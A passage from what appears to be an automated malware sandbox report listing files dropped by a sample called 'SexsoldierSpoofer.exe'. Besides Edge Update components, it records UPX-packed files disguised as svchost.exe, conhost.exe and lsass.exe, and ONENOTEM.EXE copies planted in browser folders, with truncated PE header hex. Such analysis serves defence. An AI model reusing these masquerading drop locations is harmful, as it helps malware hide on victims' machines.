[targetUID: 00000000-00006152] "psmachine_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_arm64.dll]- [targetUID: 00000000-00007060] "psuser_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_arm64.dll]- [targetUID: 00000000-00007060] "psmachine.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine.dll]- [targetUID: 00000000-00005096] "psuser.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser.dll]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateCore.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateComRegisterShell64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe]- [targetUID: 00000000-00006152] "MicrosoftEdgeUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe]- [targetUID: 00000000-00005096] "MicrosoftEdgeComRegisterShellARM64.exe" has type "PE32+ executable for MS Windows 10.00 (GUI) ARM64 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe]- [targetUID: 00000000-00007060] "RPZ-HWID.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe]- [targetUID: 00000000-00007748] "MicrosoftEdgeUpdateBroker.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateBroker.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateOnDemand.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateOnDemand.exe]- [targetUID: 00000000-00007060] "RPZ-HWID.dll" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll]- [targetUID: 00000000-00007748] "msedgeupdateres_el.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_el.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ml.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ml.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_de.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_de.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_it.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_it.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca-Es-VALENCIA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca-Es-VALENCIA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lb.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lb.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gd.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gd.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr-CA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr-CA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ro.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ro.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_es-419.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es-419.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bg.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bg.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_af.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_af.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fil.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fil.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_az.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_az.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_or.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_or.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bn-IN.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn-IN.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ka.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ka.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Cyrl-BA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-BA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_te.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_te.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Cyrl-RS.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-RS.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lv.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lv.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pt-BR.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-BR.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sv.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sv.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bs.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bs.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ta.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ta.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_eu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_eu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ne.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ne.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Latn-RS.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Latn-RS.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_as.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_as.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_da.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_da.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pa.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pa.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ur.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ur.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pt-PT.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-PT.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_es.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ga.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ga.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_uk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_uk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ms.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ms.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_tt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_et.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_et.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_cy.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cy.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kok.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kok.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nb.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nb.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_is.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_is.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_cs.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cs.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_tr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_quz.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_quz.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_vi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_vi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ru.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ru.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sq.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sq.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_id.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_id.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fa.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fa.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_th.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_th.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_km.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_km.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_en-GB.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en-GB.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_en.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lo.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lo.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ug.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ug.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ar.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ar.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_iw.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_iw.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ja.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ja.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_am.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_am.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ko.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ko.dll]- [targetUID: 00000000-00007060] "CopilotUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\CopilotUpdate.exe]- [targetUID: 00000000-00007060] "msedgeupdateres_zh-CN.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-CN.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_zh-TW.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-TW.dll]- [targetUID: 00000000-00007060] "svchost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe]- [targetUID: 00000000-00004648] "conhost.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe]- [targetUID: 00000000-00004648] "MicrosoftEdgeUpdateSetup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateSetup.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe]- [targetUID: 00000000-00005096] "CopilotUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe]- [targetUID: 00000000-00007060] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\windows nt\ONENOTEM.EXE]- [targetUID: 00000000-00008188] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\ONENOTEM.EXE]- [targetUID: 00000000-00008188] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\ONENOTEM.EXE]- [targetUID: 00000000-00008188]71:Tb93e,"SexsoldierSpoofer.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SexsoldierSpoofer.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SexsoldierSpoofer.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "SexsoldierSpoofer.exe" wrote 34816 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 32768 bytes starting with PE header signature to file "C:\Program Files (x86)\Windows Multimedia Platform\lsass.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 32768 bytes starting with PE header signature to file "C:\Program Files (x86)\windows nt\ONENOTEM.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 20924 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\svchost.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e2400005045000064ff0700 ... "ONENOTEM.EXE" wrote 58880 bytes starting with PE header signature to file "C:\Program Files 